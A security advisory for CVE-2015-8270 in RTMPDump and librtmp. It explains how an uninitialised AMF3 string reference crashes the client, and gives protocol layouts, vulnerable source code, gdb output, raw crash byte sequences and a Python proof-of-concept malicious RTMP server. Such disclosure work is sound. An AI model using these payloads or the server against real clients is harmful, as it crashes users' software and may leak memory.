CVE-2015-8270
The vulnerability occurs within the AMF3ReadString function within amf.c. If an attacker sets up a malicious RTMP Media server that defines an AMF3 Class ‘memberName’ string by reference, the ‘memberName’ property of that object is not assigned, leading to an invalid pointer dereference when attempting to display the invalid ‘memberName’ in a debug message. This also occurs if a literal string value is defined but not in the datastream.
Debug output can be specified in rtmpdump with the ‘-z’ switch or in librtmp itself with _DEBUG defined. The problem is that rtmpdump will call these debug logging functions regardless of whether or not the user requested it. The ‘-z’ switch only determines whether the debug messages are displayed to the user.
RTMPDump 2.4
librtmp 1.0
The RTMP protocol was developed by Macromedia (Adobe) for streaming audio, video and data over the internet between a Flash player and a server. One such client used for saving these streams locally to a file is called RTMPDump. RTMPDump is available on Windows and Linux for free either through https://rtmpdump.mplayerhq.hu/ or many Linux Official/Extra Repositories. RTMPDump is also used by many media players including FFmpeg, MPlayer, HTS Home Theater System and cURL.
The developers of RTMPDump also created a library for communicating over RTMP called librtmp. This API provides a simplified interface to communicating over this protocol. librtmp is used by several programs/platforms such as RTMPDump (itself), livestreamer, youtube-dl, XBMC (Kodi), streamCapture and several others.
When an RTMPClient initiates a connected with a server, a simple Handshake exchange occurs. The client sends a packet starting with 0x03 to represent the protocol followed by a 4-byte time stamp (not required) and ‘random’ data totaling 1536 bytes (known as C0 & C1, respectively). The server then responds with the byte 0x03 and another packet 1536 bytes long with the first 4 bytes containing a time stamp, the second 4 containing 0’s and the rest being ‘random’ as well. (S0 and S1). The client then sends C2, which is a copy of S1 and the server responds with S2 which is a copy of C1.
After this handshake is completed, RTMP data can be exchanged. If a server sends the following bytes to the client after the handshake, the crash occurs:
03:00:00:00:00:00:10:14:00:00:00:00:02:00:01:5f:00:de:ad:be:ef:de:ad:be:ef:11:00:13
You could also crash librtmp by sending the following:
- Bytes 0x15 and 0x12 (below) are integers that determine if the Class Name and the
first Class Member Name is a string literal or a reference, respectively.
- In this example the LSB is set for the Class Name (0x15),
a string literal is expected and the remaining bits are used as the length of the string
(10 bytes). This is followed by 0x12 which determines the string type of the first
Member Name of the class. This causes the program to treat that string as an index
into a reference table (0x12 >> 1 = 0x9). Librtmp does not properly handle reference
types and a crash will follow:
03:00:00:00:00:00:1c:14:00:00:00:00:02:00:01:5f:00:de:ad:be:ef:de:ad:be:ef:11:0c:1b:15:41:41:41:41:41:41:41:41:41:41:12
- using rtmpdump with the '-z' flag will display this output:
DEBUG: Class name: AAAAAAAAAA, externalizable: 0, dynamic: 1, classMembers: 1
DEBUG: AMF3ReadString, string reference, index: 9, not supported, ignoring!
Segmentation fault (core dumped)
:-: RTMP stream format details
:--: RTMP Header Packet structure
byte #1 Chunk Header Type.
byte #2-4 Time stamp delta.
byte #5-7 Packet Length
byte #8 Message Type ID
byte #9-12 Message Stream ID.
:--: Message Type IDs
0x01 = Set Packet Size Message.
0x04 = Ping Message.
0x05 = Server Bandwidth
0x06 = Client Bandwidth.
0x08 = Audio Packet.
0x09 = Video Packet.
0x11 = An AMF3 type command.
0x12 = Invoke (onMetaData info is sent as such).
0x14 = An AMF0 type command
:--: Packet Header Decode
03 | RTMP packet with Header Type of 0, so 12 bytes are expected to follow
00 00 00 | Time stamp delta = 0
00 00 10 | Packet Length = 0x10
14 | Message ID = 0x14 (20) defines an AMF0 encoded 'commandÌ message
00 00 00 00 | Message Stream ID
:-: RTMP command format details
:--: Packet RTMP Command
02 00 01 | Command type = string - Length 0x0001
5F | Command value = Î_Ì
00 | Transaction ID Type = Number
DE AD BE EF DE AD BE EF | Transaction ID value
:--: RTMP Object Stream
11 | AMF_AVMPLUS aka AMF3 formating
00 | Object Type
13 | Object Traits
:--: Object Traits from LSB to MSB
bit[0] = (1) literal or (0) reference object instance
* if 0, remaining significant bits represent object index
bit[1] = (1) literal or (0) reference trait value
* if 0, remaining significant bits represent trait index
bit[2] = isExternalizable
bit[3] = isDynamic
bit[4-31] = classMembers (1-3 additional bytes used if MSB of first 1-3 bytes is set)
It appears that most (if not all) AMF3 Object Types are vulnerable. I tested it successfully
by changing 0x00 to the following types:
0x0, 0x1, 0x2, 0x4, 0x5 0x6, 0x7, 0xA, 0xB, 0xC
:-: AMF3 Objects
Objects can be sent as a reference to a previously occurring Object by using an index to
the implicit object reference table. Further more, trait information can also be sent as a
reference to a previously occurring set of traits by using an index to the implicit traits
reference table.
U29O-ref = U29 ; The first (low) bit is a flag
; (representing whether an instance
; follows) with value 0 to imply that
; this is not an instance but a
; reference. The remaining 1 to 28
; significant bits are used to encode an
; object reference index (an integer).
U29O-traits-ref = U29 ; The first (low) bit is a flag with
; value 1. The second bit is a flag
; (representing whether a trait
; reference follows) with value 0 to
; imply that this objects traits are
; being sent by reference. The remaining
; 1 to 27 significant bits are used to
; encode a trait reference index (an
; integer).
U29O-traits-ext = U29 ; The first (low) bit is a flag with
; value 1. The second bit is a flag with
; value 1. The third bit is a flag with
; value 1. The remaining 1 to 26
; significant bits are not significant
; (the traits member count would always
; be 0).
U29O-traits = U29 ; The first (low) bit is a flag with
; value 1. The second bit is a flag with
; value 1. The third bit is a flag with
; value 0. The fourth bit is a flag
; specifying whether the type is
; dynamic. A value of 0 implies not
; dynamic, a value of 1 implies dynamic.
; Dynamic types may have a set of name
; value pairs for dynamic members after
; the sealed member section. The
; remaining 1 to 25 significant bits are
; used to encode the number of sealed
; traits member names that follow after
; the class name (an integer).
class-name = UTF-8-vr ; Note: use the empty string for
; anonymous classes.
dynamic-member = UTF-8-vr ; Another dynamic member follows
value-type ; until the string-type is the
; empty string.
object-type = object-marker (U29O-ref | (U29O-traits-ext
class-name *(U8)) | U29O-traits-ref | (U29O-
traits class-name *(UTF-8-vr))) *(value-type)
*(dynamic-member)))
Note that for U29O-traits-ext, after the class-name follows an indeterminable
number of bytes as *(U8). This represents the completely custom serialization of
"externalizable" types. The client and server have an agreement as to how to read in this
information.
:-: AMF3 strings
For AMF 3 a string can be encoded as a string literal or a string reference. A variable
length unsigned 29-bit integer is used for the header and the first bit is flag that specifies
which type of string is encoded. If the flag is 1, a string literal is encoded and the
remaining bits are used to encode the byte-length of the UTF-8 encoded String. If the flag
is 0, then a string reference is encoded and the remaining bits are used to encode an index
to the implicit string reference table.
U29S-ref = U29 ; The first (low) bit is a flag with
; value 0. The remaining 1 to 28
; significant bits are used to encode a
; string reference table index (an
; integer).
U29S-value = U29 ; The first (low) bit is a flag with
; value 1. The remaining 1 to 28
; significant bits are used to encode the
; byte-length of the UTF-8 encoded
; representation of the string
UTF-8-empty = 0x01 ; The UTF-8-vr empty string which is
; never sent by reference.
UTF-8-vr = U29S-ref | (U29S-value *(UTF8-char))
:-: The cause of the crash is due to the AMF3ReadString function within amf.c
:-: This function does not properly initialize the memberName property of a class
:-: if a string reference is used. Also, if an instance of a string is defined at
:-: the end of a stream and missing, a 0 (padding) will likely be read as part of
:-: the length/trait value leading the program to assume the next property
:-: is a reference.
:-: The vulnerability begins at line 1079 in the call to AMF3ReadString():
1012 AMF3_Decode(AMFObject *obj, const char *pBuffer, int nSize, int bAMFData)
1013 {
[...snip...]
1076 for (i = 0; i < cd.cd_num; i++)
1077 {
1078 AVal memberName;
1079 len = AMF3ReadString(pBuffer, &memberName);
1080 RTMP_Log(RTMP_LOGDEBUG, "Member: %s", memberName.av_val);
1081 AMF3CD_AddProp(&cd, &memberName);
1082 nSize -= len;
1083 pBuffer += len;
1084 }
1085 }
[...snip...]
:-: line 468 determines if a reference flag is set. If so, the
:-: 'memberName' structure passed to this function is not populated
:-: and lefy in an undefined state.
458 int
459 AMF3ReadString(const char *data, AVal *str)
460 {
461 int32_t ref = 0;
462 int len;
463 assert(str != 0);
464
465 len = AMF3ReadInteger(data, &ref);
466 data += len;
467
468 if ((ref & 0x1) == 0)
469 { /* reference: 0xxx */
470 uint32_t refIndex = (ref >> 1);
471 RTMP_Log(RTMP_LOGDEBUG,
472 "%s, string reference, index: %d, not supported, ignoring!",
473 __FUNCTION__, refIndex);
474 return len;
475 }
476 else
477 {
478 uint32_t nSize = (ref >> 1);
479
480 str->av_val = (char *)data;
481 str->av_len = nSize;
482
483 return len + nSize;
484 }
485 return len;
486 }
:-: A logging function is called at line 1080, even if the debug switch is not used.
:-: This results in an invalid address being read from the stream when attempting
:-: to print the log error.
1080 RTMP_Log(RTMP_LOGDEBUG, "Member: %s", memberName.av_val);
>>> p/x memberName
$14 = {
av_val = 0xc,
av_len = 0x31
}
:-: Continuing execution, a crash occurs. This appears to be a potential memory disclosure
:-: if $rdi is set to an actual address.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff786262e in _IO_vfprintf_internal (s=s@entry=0x7fffffff8ae0, format=<optimized out>, format@entry=0x7ffff7bd635a "Member: %s", ap=ap@entry=0x7fffffff9480) at vfprintf.c:1631
1631 process_string_arg (((struct printf_spec *) NULL));
>>> disassemble 0x00007ffff7862625,0x00007ffff786263d
Dump of assembler code from 0x7ffff7862625 to 0x7ffff786263d:
0x00007ffff7862625 <_IO_vfprintf_internal+6981>: xor eax,eax
0x00007ffff7862627 <_IO_vfprintf_internal+6983>: or rcx,0xffffffffffffffff
0x00007ffff786262b <_IO_vfprintf_internal+6987>: mov rdi,r11
=> 0x00007ffff786262e <_IO_vfprintf_internal+6990>: repnz scas al,BYTE PTR es:[rdi]
0x00007ffff7862630 <_IO_vfprintf_internal+6992>: mov DWORD PTR [rbp-0x4d8],0x0
0x00007ffff786263a <_IO_vfprintf_internal+7002>: mov rax,rcx
End of assembler dump.
>>> i r
rax 0x0 0
rbx 0x7fffffff8ae0 140737488325344
rcx 0xffffffffffffffff -1
rdx 0x18 24
rsi 0x7fffffff8a98 140737488325272
rdi 0xc 12
rbp 0x7fffffff8ad0 0x7fffffff8ad0
rsp 0x7fffffff8560 0x7fffffff8560
r8 0x0 0
r9 0x8 8
r10 0x73 115
r11 0xc 12
r12 0x7ffff7bd635a 140737349772122
r13 0x7fffffff9480 140737488327808
r14 0x0 0
r15 0x7ffff7bd6362 140737349772130
rip 0x7ffff786262e 0x7ffff786262e <_IO_vfprintf_internal+6990>
>>> where
#0 0x00007ffff786262e in _IO_vfprintf_internal (s=s@entry=0x7fffffff8ae0, format=<optimized out>, format@entry=0x7ffff7bd635a "Member: %s", ap=ap@entry=0x7fffffff9480) at vfprintf.c:1631
#1 0x00007ffff7910ed6 in ___vsnprintf_chk (s=s@entry=0x7fffffff8c50 "Member: ", maxlen=<optimized out>, maxlen@entry=2047, flags=flags@entry=1, slen=slen@entry=2048, format=0x7ffff7bd635a "Member: %s", args=0x7fffffff9480) at vsnprintf_chk.c:63
#2 0x00007ffff7bce906 in vsnprintf (__ap=<optimized out>, __fmt=<optimized out>, __n=2047, __s=0x7fffffff8c50 "Member: ") at /usr/include/bits/stdio2.h:77
#3 rtmp_log_default (level=4, format=<optimized out>, vl=<optimized out>) at log.c:52
#4 0x00007ffff7bceab5 in RTMP_Log (level=level@entry=4, format=format@entry=0x7ffff7bd635a "Member: %s") at log.c:96
#5 0x00007ffff7bd0200 in AMF3_Decode (obj=obj@entry=0x7fffffff9698, pBuffer=<optimized out>, pBuffer@entry=0x6e84e0 "", nSize=<optimized out>, nSize@entry=2, bAMFData=bAMFData@entry=1) at amf.c:1080
#6 0x00007ffff7bd06f5 in AMFProp_Decode (prop=prop@entry=0x7fffffff9680, pBuffer=0x6e84e0 "", pBuffer@entry=0x6e84df "\021", nSize=2, nSize@entry=3, bDecodeName=bDecodeName@entry=0) at amf.c:769
#7 0x00007ffff7bd0b70 in AMF_Decode (obj=obj@entry=0x7fffffff9750, pBuffer=0x6e84df "\021", nSize=3, bDecodeName=bDecodeName@entry=0) at amf.c:1176
#8 0x00007ffff7bcaaf6 in HandleInvoke (r=r@entry=0x7fffffffa470, body=<optimized out>, nBodySize=<optimized out>) at rtmp.c:2922
#9 0x00007ffff7bcd175 in HandleInvoke (nBodySize=<optimized out>, body=<optimized out>, r=0x7fffffffa470) at rtmp.c:2915
#10 RTMP_ClientPacket (r=r@entry=0x7fffffffa470, packet=packet@entry=0x7fffffff9e00) at rtmp.c:1332
#11 0x00007ffff7bcd7d1 in RTMP_ConnectStream (r=r@entry=0x7fffffffa470, seekTime=<optimized out>) at rtmp.c:1123
#12 0x000000000040243a in main (argc=<optimized out>, argv=<optimized out>) at rtmpdump.c:1321
:: PoC
:-: Start a malicious RTMP media server:
------------------------------------------------
#!/usr/bin/env python2
import socket
import signal
import sys
HOST = '0.0.0.0'
PORT = 1935
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()
def run_program():
print 'Connected by', addr
# must pass the handshake first,
# just reflecting the bytes back is enough
data = conn.recv(2048)
conn.send(data)
print 'handshake 1 complete'
data = conn.recv(2048)
conn.send(data)
print 'handshake 2 complete'
data = conn.recv(2048)
print 'sending exploit...'
# uncomment to send an invalid instance property.
#data = '\x03\x00\x00\x00\x00\x00\x10\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x00\x13'
# uncomment to explicitly send a property as a reference.
# data = '\x03\x00\x00\x00\x00\x00\x1c\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x0A\x2f\x15\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x12'
print "data sent:"
conn.send(data)
conn.close()
if __name__ == '__main__':
run_program()
------------------------------------------------
:: Start rtmpdump
------------------------------------------------
$ rtmpdump -r rtmp://127.0.0.1/app/test -o /dev/null
RTMPDump v2.4
(c) 2010 Andrej Stepanchuk, Howard Chu, The Flvstreamer Team; license: GPL
Connecting ...
INFO: Connected...
ERROR: AMF3 Object encapsulated in AMF stream does not start with AMF3_OBJECT!
Segmentation fault (core dumped)
Dave McDaniel